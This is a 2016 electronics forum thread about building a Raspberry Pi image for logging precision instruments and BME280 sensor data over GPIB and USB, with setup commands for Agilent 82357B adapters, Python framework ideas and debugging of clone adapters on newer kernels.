content: Quote from: HighVoltage on November 28, 2016, 10:02:54 am@HVGet the new 3BKithttp://www.pollin.de/shop/dt/NzQxNzkyOTk-/Bauelemente_Bauteile/Entwicklerboards/Raspberry_Pi/Raspberry_Pi_3_Model_B_Starter_Kit.htmlOrhttp://www.pollin.de/shop/dt/OTQxNzkyOTk-/Bauelemente_Bauteile/Entwicklerboards/Raspberry_Pi/Raspberry_Pi_3_Model_B.htmlhttp://www.pollin.de/shop/dt/NzQ2NzkyOTk-/Bauelemente_Bauteile/Entwicklerboards/Raspberry_Pi/Raspberry_Pi_Gehaeuse_TEKO_TEK_BERRY3_9_schwarz.htmlhttp://www.pollin.de/shop/dt/NjEyODQ2OTk-/Stromversorgung/Netzgeraete/Steckernetzgeraete/Micro_USB_Stecker_Schaltnetzteil_STONTRONICS_5_V_2_5_A.htmlAlso get a "Cooler kit"http://www.pollin.de/shop/dt/MTAxODkyOTk-/Bauelemente_Bauteile/Entwicklerboards/Raspberry_Pi/Raspberry_Pi_Kuehlungs_Kit_TEKO_RPI_COOLKIT_9.htmlI'm ONLY using Sandisk Extreme cards , have had too many bad experiences with "cheap cards"Usually i get these, get a few ie 3 pcs.https://www.amazon.de/SanDisk-Extreme-microSDHC-Action-Cameras/dp/B013CP5A0Y/Bingo

author: ManateeMafia
author_rank: Frequent Contributor
timestamp: November 28, 2016, 07:07:18 pm
content: I have been working on the BME280 server/client code. It has been tested and I have a GUI for those that want to use a PiTFT hat. There is room on the display for a second sensor readout. The RPi is installed in a black Uniker case with 2.2 display. My photo doesn't do it justice as my camera phone adds a blue tint.I am not sure if this is too much to add up front to the project but it may be worth considering for a future version. It has push buttons and a user interface might be added for launching python scripts without a remote login.

author: plesa
author_rank: Frequent Contributor
timestamp: November 28, 2016, 07:10:24 pm
content: Quote from: ManateeMafia on November 28, 2016, 07:07:18 pmNice, displaying IP address and some status info is helpful. Any preference for used display ( character, matrix, size??)What we needs to check is EMI which comes from RPi and power supply. and also EMI related to GPIB adapters. Any volunteer with experience?

author: ManateeMafia
author_rank: Frequent Contributor
timestamp: November 28, 2016, 07:31:04 pm
content: This 2.2" display is pretty small at 320x240. The smallest text size is 10 point and the largest is 24.I have the Kuman 3.5" display with case. It looks like it would be a better choice but I haven't assembled it yet to see how durable it is. There doesn't seem to be any protection for the screen like the Uniker.

author: bingo600
author_rank: Super Contributor
timestamp: November 28, 2016, 07:32:09 pm
content: @plesaYou'd need these for Agilent USB adapters & clones.Code:sudo apt-get install fxload#Get the USB adapter firmwarewget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gztar xvzf gpib_firmware-2008-08-10.tar.gz/BingoPs: I don't have any EMI antennas

author: plesa
author_rank: Frequent Contributor
timestamp: November 28, 2016, 08:05:32 pm
content: Quote from: bingo600 on November 28, 2016, 07:32:09 pmYep, I know. I also tried to repair fake 82357B adapter from ebay, but it lost vendor ID, anyone know how to restore it?EMI antennas are not required ferite beads and some wire will be enoughhttps://interferencetechnology.com/the-hf-current-probe-theory-and-application/

author: lukier
author_rank: Unknown
timestamp: November 28, 2016, 08:24:02 pm
content: Quote from: plesa on November 28, 2016, 08:05:32 pmCheck CY7C68013A user manual, it describes (AFAIR in the boot section) what to put at the beginning of the I2C EEPROM.If I remember correctly it was something along these lines:- mode (0 - shows up as Cypress device, used only for development, 1 - initial VID & PID from EEPROM, then upload the actual firmware - that's the mode used by Agilent, 2 - VID & PID & firmware in the EEPROM)- VID- PIDInitial (EEPROM) PID is different from the final one after firmware upload from the host, but I don't remember the numbers off the top of my head. It's somewhere online in the various linux-gpib guides.

author: bingo600
author_rank: Super Contributor
timestamp: November 28, 2016, 08:28:50 pm
content: Fromhttps://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/msg329067/#msg329067Code:cd ~/linux-gpibsudo apt-get install fxload#Get the USB adapter firmwarewget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gztar xvzf gpib_firmware-2008-08-10.tar.gzcd gpib_firmware-2008-08-10/agilent_82357a/#Find the adapterlsusb#It will show something like this : Bus 001 Device 007: ID 0957:0518 Agilent Technologies, Inc.#load firmware 1'st timesudo fxload -t fx2 -D /dev/bus/usb/001/007 -I ./measat_releaseX1.8.hex#Find the adapter (Device will usually increment by 1 , after a fw load)lsusb#It will show something like this : Bus 001 Device 008: ID 0957:0518 Agilent Technologies, Inc.#load firmware 2'nd timesudo fxload -t fx2 -D /dev/bus/usb/001/008 -I ./measat_releaseX1.8.hex#Find the adapterlsusb#It will show something like this : Bus 001 Device 009: ID ID 0957:0718 Agilent Technologies, Inc. , note the change to ID 0957:0718The green led's should be lit , and we're ready to go.

author: plesa
author_rank: Frequent Contributor
timestamp: November 30, 2016, 10:44:44 pm
content: Thanks Bingo600 and Lukier for info, unfortunately this adapter has VID/PID set to zero. So It looks to me that it will require programmer to load correct FW.Quote from: TiN on November 27, 2016, 09:51:45 amI only found that some instruments do not like connecting and disconnecting instruments to/from GPIB when running.After hooking up K2001, the response time of 3458A incresed and power supply E3631A was in remote, but does not respond to commands at all.After restarting E3631 everything is OK.Setup was running for 3 weeks.

author: TiN
author_rank: Super Contributor
timestamp: December 01, 2016, 04:59:52 am
content: Didn't see such stuff with my K2001's/3458 mixes.Btw, I also had Agilent pod versionof linux setup guide, using clone I have here.

author: mimmus78
author_rank: Unknown
timestamp: December 01, 2016, 09:52:54 am
content: Just my two cents: you can also use a DS18B20 as a second temperature monitor thing. It's more small and I suppose more cheap too.It don't even share pins with the BME sensor, so you can just slap over the BME without doing any rewiring.I'm actually using one it for TC characterisation of resistors for my LTZ1000 project.

author: plesa
author_rank: Frequent Contributor
timestamp: December 01, 2016, 06:40:26 pm
content: Quote from: mimmus78 on December 01, 2016, 09:52:54 amIf you needs DS18B20 sensors support you can inspire herehttps://www.modmypi.com/blog/ds18b20-one-wire-digital-temperature-sensor-and-the-raspberry-piBME280 is unique for it's humidity measurement.Lot of things are sensitive to humidity and not only to temperature. Price of BME280 is almost same like DS18B20, only absolute accuracy is better with DS18B20 ( 1C vs 0.5C).

author: mimmus78
author_rank: Unknown
timestamp: December 01, 2016, 08:53:44 pm
content: plesa:I know you need at least one BME. What I tried to explain is that you don't need a second BME for a second temperature sensor.You can connect ONE BME and one DS18B20 to the same RASPBERRY.Anyway BME and DS18B20 have not the same price.For the BME sensor you need to buy also the miniPCB and it costs 5 to 10 EUR.As for the DS18B20 I can easily find one at less than 2 EUR locally.And at least in Italy is more easier to find than the BME that is relatively new component.Than if you consider to that it has TO92 package you also realise that is more easier to put on the right place and has very low thermal mass.

author: FrankBuss
author_rank: Unknown
timestamp: December 01, 2016, 09:30:06 pm
content: Nice project. I have a HM8012 benchtop multimeter with RS232, a RK8511 DC electronic load with RS232 and a Siglent SPD3303D power supply with an USB port, do you plan to support this? Would be cool to control and read it all from Python on a Raspberry Pi for measurements and experiments, like power on/off stress tests. I can help to implement drivers for it.Looks like the xdevs site is down. Maybe you could create a github repository with a script (and additional programs and config files etc. if needed), which you can just start to turn a fresh Raspian image into this special distribution? Only one wget from a root shell would be required and then starting the script. Bonus: add some Dialog menus (can be implemented in bash) what instrument drivers you want to install and how you want it to configure, just like the raspi-config. Then you don't need to host gigabytes of data, too. Everyone could fork the github repository and send you pull requests for new things they have implemented.

author: plesa
author_rank: Frequent Contributor
timestamp: December 01, 2016, 09:50:45 pm
content: Hi Frank,USB and LAN connection is already implemented and tested in image. It has been made by Alex.USB is working over USB-RS232 converter (Keyspan 19HS).The major problem with support is that I do not have such gear.If it became bigger maybe we can consider creating wrapper for instruments, which can make the srips universal. and if we needs some rare instrument from same category only the interface needs to be made.I already created Githubhttps://github.com/PlesaEEVBlog/RPi_LogNutAnd I will put there scripts and webpages for data visualization soon.Currently I'm migrating to D3js version 4.4.You can start with fresh Raspbian. The intention was to create easy startup for Voltnuts without Rpi experience which can help all of us to use same platform and share our work.

author: carl_lab
author_rank: Frequent Contributor
timestamp: December 01, 2016, 10:06:37 pm
content: "Yes, post type of instrument and type of interface (GPIB,Prologix,USB,LAN, RS232)"Instrument: several 3458A'sInterface: Agilent 82357B GPIB to USB

author: plesa
author_rank: Frequent Contributor
timestamp: December 01, 2016, 10:40:20 pm
content: Quote from: carl_lab on December 01, 2016, 10:06:37 pmQuote from: carl_lab on December 01, 2016, 10:21:16 pmRPi you should buy is:https://www.raspberrypi.org/products/raspberry-pi-2-model-b/orhttps://www.raspberrypi.org/products/raspberry-pi-3-model-b/RPi3 is faster and has WiFi and Bluetooth.Do not forget casehttps://www.raspberrypi.org/products/raspberry-pi-case/as a power supply I'm using E3631, 6V rail for RPi and 15V for LTZ.SD card - I can recommends Samsung PRO, SamSung EVO+ or others recommended Sandisk extreme.Minimum is 8GB on this size of microSD card will be still plenty of space left. I expect some logging on NPLC >10 and not digitizing. One week of logging is about 10MB.Many components are sensitive to pressure and humidity changes not only temperature.So I propose to log everything.BME sensors are chep on eBay of if you are in hurry purchase Adafruit or Sparkfun ones ( $20/pcs) on eBay it is about $5/pcs.

author: Bud
author_rank: Super Contributor
timestamp: December 02, 2016, 07:31:34 pm
content: @OP, for crap sake please please make it easy to use for us end users who are not linux nuts. "Bash, fork, pull requests" and such gibberish will turn many like me away. Thank you.

author: bingo600
author_rank: Super Contributor
timestamp: December 02, 2016, 08:41:47 pm
content: @BudAFAIK he didJust download the ready built image from TiN's site , write it to a SD card.Showe it in the RasPi and boot from it./Bingo

author: Bud
author_rank: Super Contributor
timestamp: December 03, 2016, 12:15:15 am
content: I am waiting for the Agileng clone adapter implementation, i only have that one.

author: FrankBuss
author_rank: Unknown
timestamp: December 03, 2016, 02:10:35 pm
content: Quote from: Bud on December 02, 2016, 07:31:34 pmWell, these common software developer practices will attract more developers, which in turn will help to create a better end user solution

author: carl_lab
author_rank: Frequent Contributor
timestamp: December 03, 2016, 06:20:57 pm
content: Quote from: plesa on December 01, 2016, 10:40:20 pmDoes RPi-2 or -3 make a difference for needed image?Where can I find the image? I scanned xdevs site several times, but was not able to find it.Does the raspberry need additional (DDRx)-RAM cards or is RAM already on board?It's quite confusing for me without linux or raspberry experience...As far as I understood xdev site, Agilent's GPIB to USB interface adapter loads firmware via bootloader on each startup.Is that firmware loaded into adapters RAM or why is it not loaded permanently?

author: plesa
author_rank: Frequent Contributor
timestamp: December 03, 2016, 06:28:01 pm
content: Quote from: carl_lab on December 03, 2016, 06:20:57 pmImage is herehttps://xdevs.com/doc/_Images_RPI-DL/Also the scripts are there. Image works on RPi2 and RPi3, there is no significant difference in perfomance for logging.RAM is integrated on RPi board already.Yes 82357B and clones require load firmware when plugged. It will be automated, so in next release you will not found difference to NI GPIB or E5810 usage.

author: z01z
author_rank: Regular Contributor
timestamp: December 07, 2016, 09:00:43 pm
content: I've tried to put the image on a 8GB Sandisk Ultra but it has a few sector less than needed (20MB actually):Not enough space on disk: Size: 15564800 sectors Available: 15523840 sectors Sector size: 512It's just great that a "8GB" card is 7.4 in reality...

author: plesa
author_rank: Frequent Contributor
timestamp: December 07, 2016, 11:50:17 pm
content: OK, so I will in next release resize image. and you will needs to resize image back to full size of SD card.Thanks for info.

author: z01z
author_rank: Regular Contributor
timestamp: December 08, 2016, 11:30:19 am
content: Reading back what I wrote, I'm sorry if this came through as a complaint, it wasn't aimed at you.I can only be grateful for the idea and effort put into it. So thank you!

author: z01z
author_rank: Regular Contributor
timestamp: December 09, 2016, 06:55:46 pm
content: Quote from: Bud on December 03, 2016, 12:15:15 amFor Agilent 82357B you'd need these additional commandsCode:sudo apt-get install fxloadwget http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gztar xvzf gpib_firmware-2008-08-10.tar.gzsudo cp gpib_firmware-2008-08-10/agilent_82357a/measat_releaseX1.8.hex /usr/share/usb/agilent_82357a/sudo cp /etc/gpib.conf /etc/gpib.conf.baksudo sed -i 's/ni_usb_b/agilent_82357a/g' /etc/gpib.confsudo sed -i 's/violet/agilent/g' /etc/gpib.confsudo sed -i '0,/set-bin = no/s//set-bin = yes/' /etc/gpib.confsudo modprobe agilent_82357asudo gpib_configIf "lsmod |grep agilent" shows these two lines:pi@pi3:~ $ lsmod |grep agilentagilent_82357a 18039 0gpib_common 31540 1 agilent_82357aThen this command makes loading the module permanent (otherwise the modprobe is needed after every reboot).Code:sudo sed -i -e "\$aagilent_82357a" /etc/modulesI hope I didn't miss anything.You could also refer toTiN's guide.

author: FrankBuss
author_rank: Unknown
timestamp: December 10, 2016, 09:39:39 am
content: I wrote a sample for my HM8012 and tested it with, and created a github pull request, so that it can be integrated in the main github repository (and later in the SD card image). With the github repository, we could implement an update function, even over the web interface, to get the latest examples and framework code, without the need to update the whole SD card image and without overwriting your own code.Maybe would be a good idea to add TiN's guide to the repository as well in a doc directory, so that it is all in one place and under version control, and all scripts and docs needed to create a new image from a fresh Raspbian image.

author: Assafl
author_rank: Frequent Contributor
timestamp: December 10, 2016, 11:32:46 am
content: RPi2/3 with HP82357B and a 34401A.1. I followed TiN's excellent article and have the RPi2 working well with the HP82357B and the HP34401A replies with the proper ID text for a *IDN? command. Both direct GPIB calls as well as pyVISA work well.2. My guess is that since the newer Keysight 6.5 digit models are backwards compatible with the 34401A - it may be a moot point to support all of these models using one script.NB - if testVISA.py (pyVISA) fails to reply (not finding the interface) try to add the '@py' resource:replace:rm = pyvisa.ResourceManager()withrm = pyvisa.ResourceManager('@py')

author: FrankBuss
author_rank: Unknown
timestamp: December 10, 2016, 07:54:31 pm
content: I think a Python measurement framework would be nice. Maybe we can use some parts of the project athttp://sigrok.orgthat @lwatts666 mentioned?An idea: a generic base class "Instrument". All instruments in common is the capability to measure something. An instrument has a fixed number of inputs (and maybe outputs?). Concrete instrument classes for a HP34401A, or a HM8012, are derived from the abstract base class and implement all the instrument specific initialization and communication. It might be possible to configure an input, e.g. select volt or ohm, and select a range or auto-range. For each input you can get an input reader, which reads this input and knows about more about the input, like the unit, e.g. V or A, or the instrument channel.Then a logger class. You can add inputs to it and it automatically reads all inputs and writes them with a timestamp to a file, in a selected interval.Sounds difficult if you are not an object oriented programmer, but it makes it really easy to write your own custom measurement script for an advanced end user. Goal should be that you can write a script for an instrument, without knowing the GPIB commands or other details of the instrument, except some instrument specific configuration for selecting AC or DC etc. A logger program could look like this (I don't know much about Python, so this might not compile) :Code:try {# create a new instrument object. Opens the default port for this instrument# and initializes it to be used with the framework, e.g. ASCII output format, 9 digits etc.voltageMeter = new HP34401A();# application specific configuration of an input of the instrument.# optional parameter: channel=x, if there are more than one inputvoltageMeter.configure(command=HP34401A.DCV, value=10);# creates a new instrument object for a LM75A temperature sensor# uses the default I2C address 0x48 for A0-A2=0, if not specified in the constructor# the I2C address could be a generic parameter "port", which could be the GPIB address, or an I2C address,# and a factory function in the instrument which lists all available ports, to create a GUI for port selection lateri2cTempSensor = new LM75A();# create a new logger object and add all inputs. The getInputtReader-function could have an optional channel parameterlog = new Logging("/pub/logs/test.csv");log.add(voltageMeter.getInputReader());log.addInstrument(i2cTempSensor.getInputtReader());# start logging# this creates the log file, writes the CSV header and saves the current time for the exact measurement intervallog.start();while (true) {# measures all configured inputs and writes it to the CSV file, with a leading timestamplog.measureInputs();# waits for the specified number of seconds, relative to the last call of this function, so that there is an the exact same interval between every measurementlog.waitSeconds(10);}log.createWebpage("/pub/html/test.html");} catch (exception) {print(exception);}So all you need to write for a volt/temperature combination logger, with website output, are about 10 lines of easy to understand code, which can be mixed with custom tasks, like switching relays after some time etc. The generated CSV file header should name the instrument and unit, and optionally the channel, or I2C address etc.:(timestamp)(HP34401A, V)(LM75A, C)10/12/2016-07:53:279.15222.310/12/2016-07:53:379.26422.2The InputReader class has a function "measure", which returns a float for the measured value, and it has a function getUnit. Now the log object can have a function to create a standard webpage to display all configured instruments and inputs, with some nice diagram header and axis labeling. There could be also a getLastMeasure function in the InputReader class, which you can use in the measure loop to get the last value, if you want to compare it to something to do something, in addition to the log output.One step further: There is a webpage, which lists all available instruments. You can add multiple instruments with a mouse click and individually configure each instrument and the measurement interval. The set of instruments with the configuration can be saved as a project. You can start a measurement and then a log file is named with the project name and a sequential number suffix. You can click on a log file to display, download and delete it.An instrument can list the possible set of configuration parameters so that you can edit this in the web page when configuring an instrument. There could be some templates for an instrument with a set of configuration parameters, e.g. "measure DC voltage", "measure AC ampere", so that you don't have to lookup the meaning of all parameters. The templates are provided by the concrete instrument class. Each parameter has a description, so that it is self documenting, without needing to read a manual for an instrument.For the webserver it might be a good idea to use the Python webserverhttp.server, because then it is easier to access the Python instrument classes and configuration. The Python webserver could also provide a JSON server interface, so that you can call your Raspberry Pi from other systems and create a set of distributed network connected measurement devices.Shouldn't be too difficult to implement. An experienced Python developer with webserver and object oriented programming experience might be able to do it in one week full time. Too bad I don't have much time at the moment , but I can help with testing, bugfixing and framework design ideas, if someone wants to do it.

author: ManateeMafia
author_rank: Frequent Contributor
timestamp: December 10, 2016, 09:14:38 pm
content: @FrankBussThose are good suggestions and some of them are implemented in the python scripts used at xDevs . An example is here ...https://xdevs.com/doc/HP_Agilent_Keysight/3458A/test/dcv_ftp_b3.pyIt comes in handy when you have two or more of the same meter. It can be difficult to initialize multiple meters without it becoming a long list of the same commands.The 3458A and Keithley 2001/2 meters have been controlled this way for a while and once the code has been tested, only a couple lines of code are needed to create another instance. The same thing goes for the BME280. Adding more sensors will just require a similar bit of code .I have not tried the http.server and I would like to see how easy it is to implement.

author: FrankBuss
author_rank: Unknown
timestamp: December 10, 2016, 10:14:56 pm
content: Quote from: ManateeMafia on December 10, 2016, 09:14:38 pmI just tried the webserver, now I can read the value of my benchtop multimeter which has only RS232, in a webpage and even from the internet, if I would add a NAT rule to my routerhttps://github.com/FrankBuss/RPi_LogNut/blob/master/pub/python/HM8012_Webserver.pyHow it looks like (the real version reloads automatically every second) :Of course, this is just a quick hack. You would not create the web pages in the Python code, but state of the art is probably to use some WebSocket API, serve local static files and then some JavaScript communicates over the WebSocket with JSON requests with the Python script.

author: plesa
author_rank: Frequent Contributor
timestamp: December 10, 2016, 10:30:07 pm
content: @z01zThanks, it is know description.Your tutorial and others does not work for some 82357B clones, or at least for one which I have.I found some information on various forums, but without any solution.On Windows machine it works ok.And you can create udev rule to avoid executing commands every time you connect adapter.@AssaflI did not see any reason for pyVisa.@ManateeMafia,@FrankBussIt will be too complex for beginner, but I like idea, unfortunately it is not in my programming skills.Multiple loggng scripts (one 3458A logging voltage and secon script for BME280) and combining data on D3 seems to be way to go to make it universal for now.

author: plesa
author_rank: Frequent Contributor
timestamp: December 10, 2016, 10:32:15 pm
content: Quote from: FrankBuss on December 10, 2016, 10:14:56 pmI like it, so on additional page can be actual values.

author: FrankBuss
author_rank: Unknown
timestamp: December 10, 2016, 11:21:31 pm
content: Quote from: plesa on December 10, 2016, 10:30:07 pmUsing classes will make it easier for the beginner, otherwise the framework programmer did something wrongLooks like ManateeMafia has some OOP and Python knowledge, would be cool if he could implement some of my ideas. plesa, if you accept my pull request, if you agree with the slightly changed structure (the html directory in the pub directory now), the current source code will be in your github repository, and ManateeMafia can fork it and modify and add some more code. Or you could add me and ManateeMafia as members to your project (might need to convert your account to a organization, which I think is still free, if you don't have private repositories), makes changing things easier.

author: FrankBuss
author_rank: Unknown
timestamp: December 11, 2016, 12:28:15 am
content: Running multiple scripts and having multiple output files could have some problems, like out of sync and it is more complicated for the web page. Maybe as a start a universal Python script would be a good idea, which reads some simple JSON project file. Then all a user has to do, is to write a JSON project file, no need to program anything (and the JSON file creation could be supported by a neat web interface). An example for measuring volt and temperature:Code:{"LogFile":"/pub/log/test.csv","MeasureInterval":"10","Instruments":[{"class":"HP34401A","InitCommands":[{"Command":"DCV","Value":"10"},{"Command":"LFILTER","Value":"ON"}],"Unit":"V"},{"class":"LM75A","Unit":"C"}]}(I'm not sure if it makes sense to allow to specify multiple input channels, as proposed earlier, maybe better to just instantiate multiple instrument objects, even for the same physical instrument, and each instrument has just one channel.)The Python script reads this file, creates all instrument classes and configures them, and writes the log file. The script could be even created now by merging all existing Python scripts in one big script, and evaluating the JSON input with it, but would be much better to create some clean classes. The same JSON file can be used from a general webpage, which creates the diagram with it. Special format specifiers, like colors etc., could be added to the JSON file.This would be not as flexible as hand written Python, e.g. with custom actions when some limits are triggered, and custom HTML code, but I guess would work well for many measurement applications.

author: bingo600
author_rank: Super Contributor
timestamp: December 11, 2016, 07:06:44 pm
content: Quote from: plesa on December 10, 2016, 10:30:07 pm@PlesaChang from Beiming told me that he had to do his own firmware for the adapters he made.As they were not "Clones" they had other hw layout, and would not run with the agilent firmware.Maybe that's the same with your clone , i know the "Gold clone" only works @Win.Quote from: plesa on December 10, 2016, 10:30:07 pmThis is the first time i hear about pyVisa working on a non NI adapter.Have i missed something ?/Bingo

author: Assafl
author_rank: Frequent Contributor
timestamp: December 11, 2016, 08:20:46 pm
content: TiN's documentation ends with a pyvisa example.

author: plesa
author_rank: Frequent Contributor
timestamp: December 11, 2016, 08:25:21 pm
content: Quote from: bingo600 on December 11, 2016, 07:06:44 pmClone is 1:1 HW copy of Agilent/Keysight one, it is not cubic version based on NI/NAT and Cypress chip which I also have but after few connection to PC it lost boot code for some reasons.I suppose it is only question of linux-gpib settings and firmware. I used measat_releaseX1.8.hex.TiN makes it work, maybe the clones are different. Till it is solved 82357B clones are out of game.Only genuine NI-GPIB HS, E5810 and Prologix will be supported.

author: Sbampato12
author_rank: Regular Contributor
timestamp: December 12, 2016, 12:56:10 pm
content: I'm in.Lately I'm in a hurry with some projects, but whenever possible I could contribute. I have some gears, and a NI PCI GPIB card in my computer.I will order a new Rasp, since mine is the first one....Some gears are LAN, some have serial and a lot have GPIB and I can test, and help code something.

author: bingo600
author_rank: Super Contributor
timestamp: December 12, 2016, 01:32:51 pm
content: Quote from: plesa on December 11, 2016, 08:25:21 pmSeems like a strange decision , unless you meant 82357Bclones, and still supports the original 82357B.My Agilent clone & Beimings are running excellent w. linux-gpib.How do you experience the problem ?/Bingo

author: Assafl
author_rank: Frequent Contributor
timestamp: December 12, 2016, 08:42:16 pm
content: Quote from: bingo600 on December 12, 2016, 01:32:51 pmI don't know if that is what plesa is referring to - I am getting for ibtest with Genuine Agilent 82357B (and similar errors for Python):gpib status is:ibsta = 0xc100 < ERR TIMO CMPL >iberr= 14EBUS 14: Bus erroribcnt = 0I was able to see something happen with pyVisa - but can't even recreate that.

author: z01z
author_rank: Regular Contributor
timestamp: December 13, 2016, 12:54:31 pm
content: I also have a supposedly original 82357B, which only works in Windows. In linux the same error (EBUS 14: Bus error) happens for me as for Assafl.Finally managed to dump what is sent from Windows, it is a bit different from what is in the gpib_firmware file.In the measat_releaseX1.8.hex this is present (from line 75)::100F200001010380320904000003000000000705EE:100F3000820200020007050602000200070588037E:100F400008000100090227000101048032090400A1And this is sent from Windows (in the same format, with manually calculated checksum)::100F200001010380FA090400000300000000070526:100F3000820200020007050602000200070588037E:100F4000080001000902270001010480FA090400D9This is the only difference I could see, the same two bytes are different, the rest is the same.I'm going to change the firmware accordingly and try it, but probably won't be able to do it not before the end of week. I'll report back with the results.

author: plesa
author_rank: Frequent Contributor
timestamp: December 14, 2016, 08:18:37 am
content: Thanks z01z.Which file in Windows is firmware?I just started clean Gentoo installation on RPi3 to check if issue persist.On older kernel/linux-gpib this error has been solved by changing kernel parameter (timing), but it was for PCI and ISA boards.Document with error messageshttp://digital.ni.com/public.nsf/allkb/2FA525A8585A92E9862566EE002A3755

author: z01z
author_rank: Regular Contributor
timestamp: December 14, 2016, 09:15:51 am
content: Sadly changing these bytes had no effect, the error still happened.As for the driver, look for agt357run.inf. There's a separate driver for boot (agt82357.sys) and for run (agt357run.sys).So you think this is a timing issue? I took some USB captures for both, I'll have a look at them. Downloading the firmware seems to work though, so I suppose it's how commands sent afterwards.

author: Assafl
author_rank: Frequent Contributor
timestamp: December 14, 2016, 03:05:32 pm
content: Concur changing the 2 words did not change the behavior for me as well.

author: pelule
author_rank: Frequent Contributor
timestamp: December 15, 2016, 06:13:51 pm
content: QuoteI have the 1st version of Raspberry Pi - as never used this would a nice usage to log on my 3458A.I also own an Agilent 82357B (not sure how to detect if official or a clone).My very special feature request: allow to switch of the 3458A display.BRPeLuLe

author: FrankBuss
author_rank: Unknown
timestamp: December 15, 2016, 06:28:13 pm
content: I've tested the image on an old Raspberry Pi 1, model B, and works without problem on this hardware.

author: plesa
author_rank: Frequent Contributor
timestamp: December 15, 2016, 06:34:02 pm
content: Quote from: FrankBuss on December 15, 2016, 06:28:13 pmThanks Frank!Quote from: pelule on December 15, 2016, 06:13:51 pmYes, it is done. I needs to solve 82357B support to release new version of image.

author: pelule
author_rank: Frequent Contributor
timestamp: December 15, 2016, 07:35:54 pm
content: Is my undersatnding correct:Raspberry is same time also logging at the environment (temperature. humidity, pressure) using the BME280 sensore (I2C)?If yes - would great, as I have two of BME280 waiting for activity.BRPeLuLe

author: plesa
author_rank: Frequent Contributor
timestamp: December 15, 2016, 07:45:50 pm
content: Quote from: pelule on December 15, 2016, 07:35:54 pmYes, if you install image it is ready to log data from two BME sensors and it plot graphs on webpage, same like logging from supported instruments.But currently is 82357B adapter not working

author: pelule
author_rank: Frequent Contributor
timestamp: December 15, 2016, 10:17:40 pm
content: QuoteUnderstood, but worth to wait for.

author: Dwaine
author_rank: Frequent Contributor
timestamp: December 16, 2016, 01:40:44 pm
content: Downloading the Image now. I have a Rigol DM3068 meter. I'll add a script for it.

author: bingo600
author_rank: Super Contributor
timestamp: December 16, 2016, 07:12:39 pm
content: Quote from: plesa on December 15, 2016, 07:45:50 pm@plesa et all.I can confirm that currently the 82357B adapter is not working, on newer raspi kernels.I have just build linux-gpib (svn) on both a raspi v1 , and a raspi v3 , both fails reading from the adapter.Both are using latest kernelRaspi V3 - Linux raspi4 4.4.38-v7+ #938 SMP Thu Dec 15 15:22:21 GMT 2016 armv7l GNU/LinuxRaspi V1 - Linux raspi3 4.4.38+ #938 Thu Dec 15 15:17:54 GMT 2016 armv6l GNU/LinuxI build the same linux-gpib (svn) , on my Corei5 lappy , where it's workingLinux 3.19.0-32-generic #37~14.04.1-Ubuntu SMP Thu Oct 22 09:41:40 UTC 2015 x86_64 x86_64 x86_64 GNU/LinuxCode:$ cat idn1.py#!/usr/bin/python# -*- coding: utf-8 -*-import Gpibinst = Gpib.Gpib(0,16) # address 6inst.write("*IDN?")INST=inst.read(100) # read 100 bytesprint(INST)./idn1.pyKEITHLEY INSTRUMENTS INC.,MODEL 2015,1043877,B15 /A02Something is wrong on the newer kernels (devicetree or ??).I have used the 82357B (china prob. clone) adapter on my raspi v1 w. debian wheezy , without problems.Furthermore it works 100% if i build the same linux-gpib on my Corei5 w. Mint 17.3 - (same kernel as Ubuntu 14.04)./Bingo

author: FrankBuss
author_rank: Unknown
timestamp: December 16, 2016, 08:20:10 pm
content: @plesa please add the USBTMC standard Linux driver when you create the next image. On my Debian Wheezy on PC I can now access my SPD3303D over USB, worked out of the box without needing to install a driver, with some quirks how to access it, as someone figured outhere(but only the first Device class implementation works with my device), and add it to the documentation. Now I can control a good laboratory power supply from Python scripts, this is going to be fun

author: plesa
author_rank: Frequent Contributor
timestamp: December 16, 2016, 08:29:42 pm
content: Quote from: FrankBuss on December 16, 2016, 08:20:10 pmHi Frank,USBTMC is already there including example how to control 34411A.Currently we needs to solve kernel problem with 82357B. Also genuine 82357B is not working with kernels 4.4.34-38.I hope that with Raspberry, Python, D3 we can have lot of fun and gain from sharing scriptsI already receive request for various things like controlling PSU and reading temperature for testing resistors tempco.

author: cdev
author_rank: Super Contributor
timestamp: December 16, 2016, 08:50:27 pm
content: Did you guys know there is some kind of kernel latency patch for the Raspberry Pi if you need it to send data as it comes in, because it's Ethernet interface is implemented via USB?So for some kinds of uses, where USB timing is critical, you need this patch, and for others, its not the best choice. Sharing the USB bus allowed them to trim several dollars off the price. A substantial amount of money relative to other parts. So, for certain kinds of uses, other SBCs are better.

author: FrankBuss
author_rank: Unknown
timestamp: December 16, 2016, 08:59:15 pm
content: The Python USBTMC implementation doesn't work with my device. I checked it with the 34410A_Log.py example, changing the instrument creation line toinst = usbtmc.Instrument("USB::0x0483::0x7540::INSTR")which is the vendor and product ID I can see with lsusb. And it shows after a while "usb.core.USBError: [Errno 110] Operation timed out". If I change the vendor or product ID in the instrument creation, or unplug the device, it says "usbtmc.usbtmc.UsbtmcException: Device not found ", so I guess it finds the device and can open it. But it might be the same problem when using the Linux kernel driver: without the sleep it doesn't work, at least not with the SPD3303D power supply.I don't know if it makes sense to dig deeper into the cause of the problem, this could result in days of reading kernel source code and using USB logging. I would assume it is some sloppy implementation in the power supply USB connection. I don't know anyway if it is a good idea to implement the USBTMC driver in user mode with usb.core, but maybe it has more features than the kernel module. The simple solution would be to add the USBTMC kernel driver as well, if it doesn't conflict with the Python implementation, but I guess not, because it uses the low level USB PyUSB interface. The author of the 34410A script with a 34410A instrument could test this. If you integrate it as a kernel module and if it doesn't work, the module could be unloaded as default, and I can load it for my scripts.

author: FrankBuss
author_rank: Unknown
timestamp: December 16, 2016, 09:04:30 pm
content: Additional benefit of using the USBTMC kernel driver: you can use it from other programs as well, not just from Python. On my PC I can do this:echo "*IDN?" > /dev/usbtmc0cat /dev/usbtmc0and it answers withSiglent Technologies,SPD3303,SPD00002130137,1.01.01.01.05,V1.1(but still with the timeout problem: after printing this line it hangs for about 5 seconds and then it says "cat: /dev/usbtmc0: Connection timed out")

author: Dwaine
author_rank: Frequent Contributor
timestamp: December 16, 2016, 10:05:39 pm
